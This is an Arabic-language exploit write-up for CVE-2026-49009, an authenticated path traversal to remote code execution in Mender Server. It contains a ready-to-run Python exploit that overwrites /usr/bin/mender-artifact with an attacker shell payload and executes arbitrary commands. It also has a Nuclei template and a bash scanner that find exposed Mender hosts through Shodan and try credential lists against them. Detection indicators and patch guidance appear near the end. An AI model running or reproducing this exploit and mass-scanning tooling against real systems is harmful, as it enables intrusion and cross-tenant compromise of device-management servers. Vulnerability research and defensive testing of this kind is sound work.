
Mender Server - اجتياز المسار المُوثَّق إلى RCE
CVE-2026-49009 — تجاوز المسار المصادق عليه إلى تنفيذ الكود عن بُعد في خادم Mender
اكتشفه j0xh-sec عبر HackerOne · الإثباتات بواسطة INTELEON404
تحتوي الإصدارات ≤4.1.0 و≤4.0.1 من خادم Mender على ثغرة تجاوز المسار المصادق عليه في نقطة نهاية API الخاصة بإنشاء القطع الأثرية لملف واحد. يمكن للمهاجم، عند إدخال تسلسلات ../ في الحقل filename، الكتابة فوق /usr/bin/mender-artifact داخل حاوية create-artifact-worker. عندما تستدعي الخطوة التالية من سير العمل هذا الملف الثنائي، يتم تنفيذ الأوامر التعسفية ككود.
في بيئات Mender المستضافة متعددة المستأجرين، تقوم حاوية العامل المشتركة بمعالجة القطع الأثرية لجميع المستأجرين — مما يتيح اختراقاً عبر المستأجرين.
تقبل نقطة النهاية /api/management/v1/deployments/artifacts/generate حقل filename ضمن معامل JSON args. تُستخدم هذه القيمة لإنشاء مسار الكتابة على القرص أثناء إنشاء القطعة الأثرية. لا يتم تنقية تسلسلات تجاوز المسار (../)، مما يسمح للقيمة التي يتحكم فيها المهاجم بالخروج من دليل التحميل المقصود.
┌─────────────────────────────────────────────────────────────────┐ │ │ │ 1. AUTHENTICATE │ │ POST /api/management/v1/useradm/auth/login │ │ Authorization: Basic <base64(user:pass)> │ │ ──────────────────────────────────────────────────────► │ │ 200 OK + JWT token │ │ │ │ 2. SUBMIT TRAVERSAL PAYLOAD │ │ POST /api/management/v1/deployments/artifacts/generate │ │ Authorization: Bearer │ │ args.filename = "../../../../usr/bin/mender-artifact" │ │ file = │ │ ──────────────────────────────────────────────────────► │ │ 202 Accepted + Location │ │ │ │ 3. WORKER CONTAINER WRITES FILE │ │ /usr/bin/mender-artifact ← attacker payload │ │ │ │ 4. NEXT WORKFLOW TRIGGER │ │ create-artifact-worker invokes /usr/bin/mender-artifact │ │ ──────────────────────────────────────────────────────► │ │ REMOTE CODE EXECUTION │ └─────────────────────────────────────────────────────────────────┘
### لماذا يعمل هذا
| العامل | الشرح |
|---|---|
| **مسار غير معقم** | `../../../../usr/bin/mender-artifact` يهرب من الوجهة المقصودة `/opt/mender/app/` |
| **المعالجة غير المتزامنة** | يكتب `create-artifact-worker` الملف بشكل غير متزامن، قبل أي تحقق لاحق |
| **اختطاف الثنائي** | تستدعي خطوات سير العمل اللاحقة `/usr/bin/mender-artifact` كجزء من التشغيل العادي |
| **إعادة استخدام الحاوية** | في النشر متعدد المستأجرين، تقوم نفس حاوية العامل بمعالجة القطع الأثرية لجميع المستأجرين |
---
## إثبات المفهوم
> **مطلوب إذن.** قم بالتشغيل فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
### استغلال بايثون
<details>
<summary>▶ عرض كود الاستغلال</summary>```python
#!/usr/bin/env python3
"""
CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE
Discovered by: j0xh-sec (HackerOne)
PoC by: INTELEON404 (Authorized security assessment)
"""
import argparse
import base64
import json
import re
import sys
import time
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def parse_args():
parser = argparse.ArgumentParser(
description="CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE",
epilog="Discovered by j0xh-sec | PoC by INTELEON404"
)
parser.add_argument("-t", "--target", required=True, help="Base URL, e.g. https://mender.local")
parser.add_argument("-u", "--username", required=True, help="Mender username / email")
parser.add_argument("-p", "--password", required=True, help="Mender password")
parser.add_argument("-c", "--command", required=True, help="Command to execute")
return parser.parse_args()
def banner():
print("\n[ CVE-2026-49009 ] Mender Server Path Traversal → RCE")
print("[ Discovered by j0xh-sec | PoC by INTELEON404 ]\n")
def build_payload(command: str) -> bytes:
"""Encode command as base64 shell script; preserves mender-artifact stdin passthrough."""
encoded = base64.b64encode(command.encode()).decode()
return f"""#!/bin/sh
# CVE-2026-49009 payload — INTELEON404
CMD_B64="{encoded}"
CMD="$(printf '%s' "$CMD_B64" | base64 -d 2>/dev/null || printf '%s' "$CMD_B64")"
/bin/sh -c "$CMD"
exec /bin/sh "$@"
""".encode()
def main():
args = parse_args()
banner()
target = args.target.rstrip("/")
if not target.startswith(("http://", "https://")):
target = "https://" + target
host = target.split("://")[1].split("/")[0]
print(f"[*] Target : {target}")
print(f"[*] User : {args.username}")
# ── Step 1: Authenticate ──────────────────────────────────────────────
print("[*] Authenticating...")
try:
r = requests.post(
f"{target}/api/management/v1/useradm/auth/login",
auth=(args.username, args.password),
headers={"Host": host, "Content-Type": "application/json"},
data="{}",
verify=False,
timeout=30,
)
if r.status_code != 200:
raise RuntimeError(f"Login failed (HTTP {r.status_code}): {r.text.strip()}")
jwt = r.text.strip()
print("[+] JWT obtained")
except requests.RequestException as e:
raise RuntimeError(f"Connection error during login: {e}")
# ── Step 2: Submit traversal payload ─────────────────────────────────
print("[*] Submitting path traversal payload...")
artifact_name = f"rce-poc-{int(time.time())}"
args_json = {
"filename": "../../../../usr/bin/mender-artifact",
"dest_dir": "/opt/mender/app",
"software_name": "demo",
"software_version": "1",
}
files = {
"name": (None, artifact_name),
"description": (None, "CVE-2026-49009 PoC"),
"type": (None, "single-file"),
"device_types_compatible": (None, "qemu"),
"args": (None, json.dumps(args_json), "application/json"),
"file": ("payload.sh", build_payload(args.command), "application/octet-stream"),
}
try:
r = requests.post(
f"{target}/api/management/v1/deployments/artifacts/generate",
headers={"Host": host, "Authorization": f"Bearer {jwt}"},
files=files,
verify=False,
timeout=60,
allow_redirects=False,
)
except requests.RequestException as e:
raise RuntimeError(f"Connection error during exploit: {e}")
location = r.headers.get("Location", "")
if not location:
print(f"[!] HTTP {r.status_code} — no Location header returned")
print(f"[!] Response: {r.text[:500]}")
print("[-] Target may be patched (≥ 4.1.1 / 4.0.2) or credentials lack permissions")
sys.exit(1)
job_id = re.search(r"/([^/]+)$", location).group(1)
print(f"[+] Workflow submitted — Job ID: {job_id}")
print(f"[+] Payload : {args.command}")
print("\n[*] Command executes inside the worker container when the workflow completes.")
if __name__ == "__main__":
try:
main()
except RuntimeError as e:
print(f"\n[!] ERROR: {e}", file=sys.stderr)
sys.exit(1)
except KeyboardInterrupt:
print("\n[*] Interrupted")
sys.exit(130)
info: name: Mender Server - Authenticated Path Traversal to RCE Detection author: j0xh-sec severity: medium description: | Mender Server versions 4.1.0, 4.0.1, and below are vulnerable to an authenticated path traversal in the single-file artifact generation API endpoint. An attacker with a valid user account can supply a filename containing traversal sequences, causing the uploaded file payload to be written outside the intended directory. impact: | Successful exploitation gives an authenticated attacker remote code execution inside the create-artifact-worker container. remediation: | Upgrade to Mender Server 4.1.1, 4.0.2, or later. Affected versions include all releases prior to and including 4.1.0 and 4.0.1 for both Mender Server Community (Open Source) and Mender Server Enterprise. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-49009 - https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2026-49009 cwe-id: CWE-22 metadata: verified: true max-request: 1 vendor: northern.tech product: mender_server shodan-query: http.title:"Mender" fofa-query: title="Mender" tags: cve,cve2026,mender,path-traversal,rce,authenticated
http:
raw:
|+ POST /api/management/v1/deployments/artifacts/generate HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="name"
cve-scan-{{randstr}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="description"
CVE-2026-49009 verification ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="type"
single-file ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="device_types_compatible"
qemu ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="args" Content-Type: application/json
{"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="file"; filename="payload.sh" Content-Type: application/octet-stream
#!/bin/sh echo ------WebKitFormBoundary{{randstr}}--
matchers-condition: or matchers:
python3 cve-2026-49009.py
-t https://mender-server.local
-u [email protected]
-p 's3cret!'
-c 'id > /tmp/pwned.txt'
### Nuclei```bash
nuclei -t CVE-2026-49009.yaml \
-u https://mender-server.local \
-var [email protected] \
-var PASSWORD='s3cret!'
./cve-2026-49009-scanner.sh -u [email protected] -P 'YourPassword'
./cve-2026-49009-scanner.sh -c creds.txt
./cve-2026-49009-scanner.sh -n -t targets.txt -u [email protected] -P 'YourPassword'
./cve-2026-49009-scanner.sh -u [email protected] -P 'YourPassword' -p 10 -r 150
---
## الكشف والمؤشرات
### التطبيق / المضيف
| المؤشر | الوصف |
|---|---|
| رأس `Location` بعد اسم ملف traversal | الخادم يعيد رأس `Location` بعد قبول اسم ملف يحتوي على `../` |
| أسماء قطع أثرية مشبوهة | الأنماط: `cve-poc-*`, `rce-poc-*`, `pwn-*` |
| طابع زمني معدّل للثنائي | طابع زمني لـ `/usr/bin/mender-artifact` تم تغييره داخل حاوية العامل |
| مخرجات عامل غير متوقعة | سجلات الحاوية تظهر أوامر غير مرتبطة بمعالجة القطع الأثرية |
### الشبكة
| المؤشر | الوصف |
|---|---|
| POST إلى `artifacts/generate` | مع JSON `args` يحتوي على تسلسلات `../` |
| زوج المصادقة والرفع | تسجيل دخول بالمصادقة الأساسية يتبعه فورًا رفع multipart من نفس عنوان IP المصدر |
### منطق المطابقة في Nuclei
يعيد القالب نتيجة إيجابية عندما:
1. `POST /useradm/auth/login` → `HTTP 200` + JWT صالح (أكثر من 100 حرف)
2. `POST /artifacts/generate` → `HTTP 2xx` + وجود رأس `Location`
خادم مصحح (≥ 4.1.1 / 4.0.2) يرفض مسار traversal مع `HTTP 4xx` في الخطوة 2.
---
## المعالجة
| الأولوية | الإجراء |
|---|---|
| **فوري** | الترقية إلى Mender Server **4.1.1** أو **4.0.2** |
| **ضابط تعويضي** | تفعيل التوقيع التشفيري للقطع الأثرية — الأجهزة ترفض القطع الأثرية العابثة |
| **حل بديل** | تقييد وصول API إلى شبكات موثوقة؛ تعطيل إنشاء القطع الأثرية إذا لم تُستخدم |
| **تدقيق** | مراجعة السجلات لطلبات إنشاء القطع الأثرية بقيم `filename` غير عادية |
---
## الجدول الزمني
| التاريخ | الحدث |
|---|---|
| 2026-04-01 | إصدار Mender Server 4.1.1 / 4.0.2 مع الإصلاح |
| 2026-05-27 | نشر CVE؛ إصدار استشاري من Northern.tech |
| 2026-05-27 | نشر PoC بواسطة INTELEON404 |
---
## المراجع
- [NVD — CVE-2026-49009](https://nvd.nist.gov/vuln/detail/CVE-2026-49009)
- [الاستشاري الأمني من Northern.tech](https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server)
- [إدخال OpenCVE](https://app.opencve.io/cve/CVE-2026-49009)
- [صفحة CVE من Tenable](https://www.tenable.com/cve/CVE-2026-49009)
- [سجل التغييرات لـ Mender Server](https://docs.mender.io/release-information/release-notes-changelog/mender-server)
- [سجل التغييرات لـ Mender Enterprise](https://docs.mender.io/release-information/release-notes-changelog/mender-server-enterprise)
- [INTELEON404/CVE-2026-49009](https://github.com/INTELEON404/CVE-2026-49009)
- [j0xh-sec/CVE-2026-49009](https://github.com/j0xh-sec/CVE-2026-49009)
---
## إخلاء مسؤولية
> [!WARNING]
> **لأغراض الاختبار الأمني المصرح به والتعليم فقط.**
>
> هذا الإثبات المفاهيمي مخصص للاستخدام فقط ضد الأنظمة التي تمتلكها أو حصلت على **إذن كتابي صريح** لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA)، وقانون إساءة استخدام الكمبيوتر (CMA)، والتشريعات المماثلة في جميع أنحاء العالم.
>
> لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام أو الضرر أو الأنشطة غير القانونية الناشئة عن هذه المادة.
---
<div align="center">
**اكتشف بواسطة** [j0xh-sec](https://hackerone.com/j0xh-sec) عبر HackerOne · إفصاح مسؤول إلى Northern.tech
**PoC بواسطة** INTELEON404 · تقييم أمني مصرح به
</div>
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2026-49009 |
| درجة CVSS | 9.9 حرج — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-22 — عدم تحديد مسار اسم الملف بشكل صحيح داخل دليل مقيد |
| المنتج المتأثر | خادم Mender من Northern.tech (الإصدار المجتمعي والمؤسسي) |
| اكتشفه | j0xh-sec عبر HackerOne (إفصاح مسؤول) |
| مؤلف الإثبات | INTELEON404 — تقييم أمني معتمد |
| تاريخ نشر CVE | 2026-05-27 |
| تاريخ إصدار التصحيح | 2026-04-01 (خادم Mender 4.1.1 / 4.0.2) |
| المنتج | الإصدارات المعرضة للخطر | الإصدار المُصحَّح |
|---|
| خادم Mender (المجتمعي) | ≤ 4.1.0, ≤ 4.0.1 | 4.1.1, 4.0.2 |
| خادم Mender (المؤسسي) | ≤ 4.1.0, ≤ 4.0.1 | 4.1.1, 4.0.2 |
| Mender المستضافة | الكل (قبل التصحيح) | مُصحَّح تلقائياً |
</details>
## Nuclei POC
<a href="https://ibb.co.com/27n0JF6s"><img src="https://assets.kitploit.com/production/public/readmes/36707/5c8a69f64497e83df558e6d279b781e9a0ee7cf5bb39cbc0df16bff464ebb5d8/15d30fbbab29d646b3ab7c75f2a4752839a1ca010fa26912e638bf4a128424d8-display-v1.webp" alt="poc" border="0"></a>
---
### ShodanX + ماسح Nuclei
يُدمج الاستطلاع الذي يقوم به ShodanX مع المسح باستخدام Nuclei لاكتشاف وتقييم حالات Mender Server على نطاق واسع.
**المراحل:**
1. **الاكتشاف** — ShodanX dork `http.title:"Mender"`، يستخرج أزواج IP:port
2. **المسح** — يقوم Nuclei بتشغيل قالب CVE ضد الأهداف المكتشفة مع تدوير بيانات الاعتماد
3. **التقارير** — إخراج بتنسيق JSON ونص عادي بدون تكرار
<details>
<summary>▶ عرض سكربت الماسح الضوئي (cve-2026-49009-scanner.sh)</summary>```bash
#!/bin/bash
set -euo pipefail
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
CYAN='\033[0;36m'; BOLD='\033[1m'; NC='\033[0m'
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
TIMESTAMP="$(date +%Y%m%d_%H%M%S)"
OUTPUT_DIR="${SCRIPT_DIR}/cve-2026-49009-scan-${TIMESTAMP}"
SHODAN_QUERY='http.title:"Mender"'
PAGES=3
RATE=50
NO_SHODAN=false
CREDS_ARRAY=()
usage() {
cat <<EOF
Usage: $0 [options]
-u, --username Mender username
-P, --password Mender password
-c, --creds Credentials file (username:password, one per line)
-q, --query Shodan query (default: http.title:"Mender")
-o, --output Output directory
-p, --pages Shodan result pages (default: 3)
-r, --rate Nuclei rate limit (default: 50)
-n, --no-shodan Skip ShodanX discovery
-t, --targets Target file (used with --no-shodan)
-h, --help Show this help
EOF
exit 0
}
while [[ $# -gt 0 ]]; do
case "$1" in
-q|--query) SHODAN_QUERY="$2"; shift 2 ;;
-o|--output) OUTPUT_DIR="$2"; shift 2 ;;
-p|--pages) PAGES="$2"; shift 2 ;;
-u|--username) USERNAME="$2"; shift 2 ;;
-P|--password) PASSWORD="$2"; shift 2 ;;
-c|--creds) CREDS_FILE="$2"; shift 2 ;;
-n|--no-shodan) NO_SHODAN=true; shift ;;
-t|--targets) TARGETS_FILE="$2"; shift 2 ;;
-r|--rate) RATE="$2"; shift 2 ;;
-h|--help) usage ;;
*) echo "Unknown option: $1"; usage ;;
esac
done
check_deps() {
command -v shodanx &>/dev/null || {
echo "[*] Installing ShodanX..."
pip install git+https://github.com/RevoltSecurities/ShodanX --quiet
}
command -v nuclei &>/dev/null || {
echo "[!] Nuclei not found. Install: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"
exit 1
}
}
write_template() {
cat > "${OUTPUT_DIR}/CVE-2026-49009.yaml" << 'TMPL'
id: CVE-2026-49009
info:
name: Mender Server - Authenticated Path Traversal to RCE
author: j0xh-sec
severity: critical
description: Mender Server <=4.1.0/4.0.1 authenticated path traversal to RCE.
remediation: Upgrade to 4.1.1 or 4.0.2.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-49009
- https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2026-49009
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
vendor: northern.tech
product: mender_server
tags: cve,cve2026,mender,path-traversal,rce,authenticated,intrusive
http:
- raw:
- |+
POST /api/management/v1/useradm/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Basic {{base64('{{username}}:{{password}}')}}
{}
- |+
POST /api/management/v1/deployments/artifacts/generate HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{jwt}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="name"
cve-poc-{{randhex_6}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="args"
Content-Type: application/json
{"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="file"; filename="payload.sh"
Content-Type: application/octet-stream
#!/bin/sh
/usr/bin/id>/tmp/.cve-2026-49009
------WebKitFormBoundary{{randstr}}--
extractors:
- type: regex
name: jwt
part: body
internal: true
regex:
- "([A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+)"
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200'
- 'len(jwt) > 100'
- 'status_code_2 >= 200 && status_code_2 < 300'
- 'contains(to_string(header_2_all), "Location")'
condition: and
TMPL
echo "[+] Nuclei template written: ${OUTPUT_DIR}/CVE-2026-49009.yaml"
}
shodanx_discover() {
echo "[*] ShodanX discovery: ${SHODAN_QUERY} (pages: ${PAGES})"
mkdir -p "${OUTPUT_DIR}"
shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
--output "${OUTPUT_DIR}/shodanx-raw.txt" --format json 2>/dev/null || \
shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
--output "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null || true
if jq -r '.[] | "\(.ip_str):\(.port // "443")"' "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | \
grep -v '^:$\|^null' | sort -u > "${OUTPUT_DIR}/targets.txt" 2>/dev/null; then
:
else
grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+(:[0-9]+)?' \
"${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | sort -u > "${OUTPUT_DIR}/targets.txt" || true
fi
echo "[+] $(wc -l < "${OUTPUT_DIR}/targets.txt" 2>/dev/null || echo 0) targets discovered"
}
nuclei_scan() {
[[ ! -s "${OUTPUT_DIR}/targets.txt" ]] && { echo "[!] No targets to scan"; return; }
echo "[*] Running Nuclei scan (rate: ${RATE})..."
for cred in "${CREDS_ARRAY[@]}"; do
nuclei -silent \
-t "${OUTPUT_DIR}/CVE-2026-49009.yaml" \
-l "${OUTPUT_DIR}/targets.txt" \
-var "USERNAME=${cred%%:*}" \
-var "PASSWORD=${cred#*:}" \
-rate-limit "${RATE}" \
-jsonl \
-o "${OUTPUT_DIR}/nuclei-results.json" \
-timeout 15 -retries 2 -irr 2>/dev/null
done
if [[ -f "${OUTPUT_DIR}/nuclei-results.json" ]]; then
COUNT=$(wc -l < "${OUTPUT_DIR}/nuclei-results.json")
echo "[+] ${COUNT} vulnerability(ies) confirmed"
jq -r '.["matched-at"] // .host // empty' "${OUTPUT_DIR}/nuclei-results.json" 2>/dev/null | \
sort -u > "${OUTPUT_DIR}/vulnerable-hosts.txt"
else
echo "[-] No vulnerabilities found or no results returned"
fi
}
main() {
check_deps
mkdir -p "${OUTPUT_DIR}"
write_template
if $NO_SHODAN; then
[[ -n "${TARGETS_FILE:-}" && -f "$TARGETS_FILE" ]] && \
cp "$TARGETS_FILE" "${OUTPUT_DIR}/targets.txt" || \
{ echo "[!] --no-shodan requires --targets <file>"; exit 1; }
else
shodanx_discover
fi
if [[ -n "${USERNAME:-}" && -n "${PASSWORD:-}" ]]; then
CREDS_ARRAY=("${USERNAME}:${PASSWORD}")
elif [[ -n "${CREDS_FILE:-}" ]]; then
while IFS=':' read -r u p; do
[[ -n "$u" && -n "$p" ]] && CREDS_ARRAY+=("${u}:${p}")
done < "$CREDS_FILE"
else
echo "[!] Credentials required: use -u/-P, -c <file>, or set MENDER_USERNAME/MENDER_PASSWORD"
exit 1
fi
nuclei_scan
echo "[+] Scan complete. Results in: ${OUTPUT_DIR}/"
}
main
| التبعية | التثبيت |
|---|
| Python 3.8+ | apt install python3 python3-pip |
requests / urllib3 | pip install requests urllib3 |
| Nuclei | go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest |
| ShodanX (اختياري) | pip install git+https://github.com/RevoltSecurities/ShodanX |